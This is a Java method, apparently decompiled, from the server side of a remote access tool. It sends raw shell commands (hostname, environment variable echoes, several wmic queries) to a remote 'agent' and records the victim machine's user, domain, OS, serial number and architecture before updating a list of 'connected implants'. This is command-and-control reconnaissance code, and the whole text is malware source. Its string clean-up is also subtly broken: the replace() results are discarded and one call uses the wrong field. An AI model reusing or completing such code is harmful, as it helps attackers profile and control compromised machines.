private boolean deprecated_acquireOverheadData_WINDOWS(BufferedReader brSocket, PrintWriter pwSocket)
  {
    this.dataAcquisitionComplete = false;
    try
    {
      sendCommand_RAW_ToAgent("hostname");
      this.myHostName = brSocket.readLine();

      sendCommand_RAW_ToAgent("echo %username%");
      this.myUserName = brSocket.readLine();

      sendCommand_RAW_ToAgent("echo %homedrive%");
      this.myHomeDrive = brSocket.readLine();

      sendCommand_RAW_ToAgent("echo %NUMBER_OF_PROCESSORS%");
      this.myNumberOfProcessors = brSocket.readLine();

      sendCommand_RAW_ToAgent("echo %OS%");
      this.myOS_Type = brSocket.readLine();

      sendCommand_RAW_ToAgent("echo %PROCESSOR_ARCHITECTURE%");
      this.myProcessorArchitecture = brSocket.readLine();

      sendCommand_RAW_ToAgent("echo %SystemRoot%");
      this.mySystemRoot = brSocket.readLine();

      sendCommand_RAW_ToAgent("echo %USERDOMAIN%");
      this.myUserDomain = brSocket.readLine();

      sendCommand_RAW_ToAgent("echo %USERPROFILE%");
      this.myUserProfile = brSocket.readLine();

      sendCommand_RAW_ToAgent("echo %TEMP%");
      this.myTempPath = brSocket.readLine();

      sendCommand_RAW_ToAgent("wmic os get caption /value");
      this.myOS = brSocket.readLine();
      try { this.myOS.replace("Caption=", ""); }
      catch (Exception localException1)
      {
      }
      sendCommand_RAW_ToAgent("wmic os get CSDVersion /value");
      this.myServicePack = brSocket.readLine();
      try { this.myServicePack.replace("CSDVersion=", ""); }
      catch (Exception localException2)
      {
      }
      sendCommand_RAW_ToAgent("wmic os get CountryCode /value");
      this.myCountryCode = brSocket.readLine();
      try { this.myCountryCode.replace("CountryCode=", ""); }
      catch (Exception localException3)
      {
      }
      sendCommand_RAW_ToAgent("wmic os get NumberOfUsers /value");
      this.myNumberOfUsers = brSocket.readLine();
      try { this.myNumberOfUsers.replace("NumberOfUsers=", ""); }
      catch (Exception localException4)
      {
      }
      sendCommand_RAW_ToAgent("wmic os get Version /value");
      this.myVersionNumber = brSocket.readLine();
      try { this.myVersionNumber.replace("Version=", ""); }
      catch (Exception localException5)
      {
      }
      sendCommand_RAW_ToAgent("wmic os get SerialNumber /value");
      this.mySerialNumber = brSocket.readLine();
      try { this.myVersionNumber.replace("SerialNumber=", ""); }
      catch (Exception localException6)
      {
      }
      sendCommand_RAW_ToAgent("wmic os get OSArchitecture /value");
      this.myOS_Architecture = brSocket.readLine();
      try { this.myOS_Architecture.replace("OSArchitecture=", ""); } catch (Exception localException7) {
      }
      RelayBot_ServerSocket.updateConnectedImplants();

      this.dataAcquisitionComplete = true;
      return true;
    }
    catch (Exception e)
    {
      Driver.eop("acquireOverheadData_WINDOWS", this.strMyClassName, e, e.getLocalizedMessage(), false);

      RelayBot_ServerSocket.updateConnectedImplants();
      this.dataAcquisitionComplete = true;
    }return false;
  }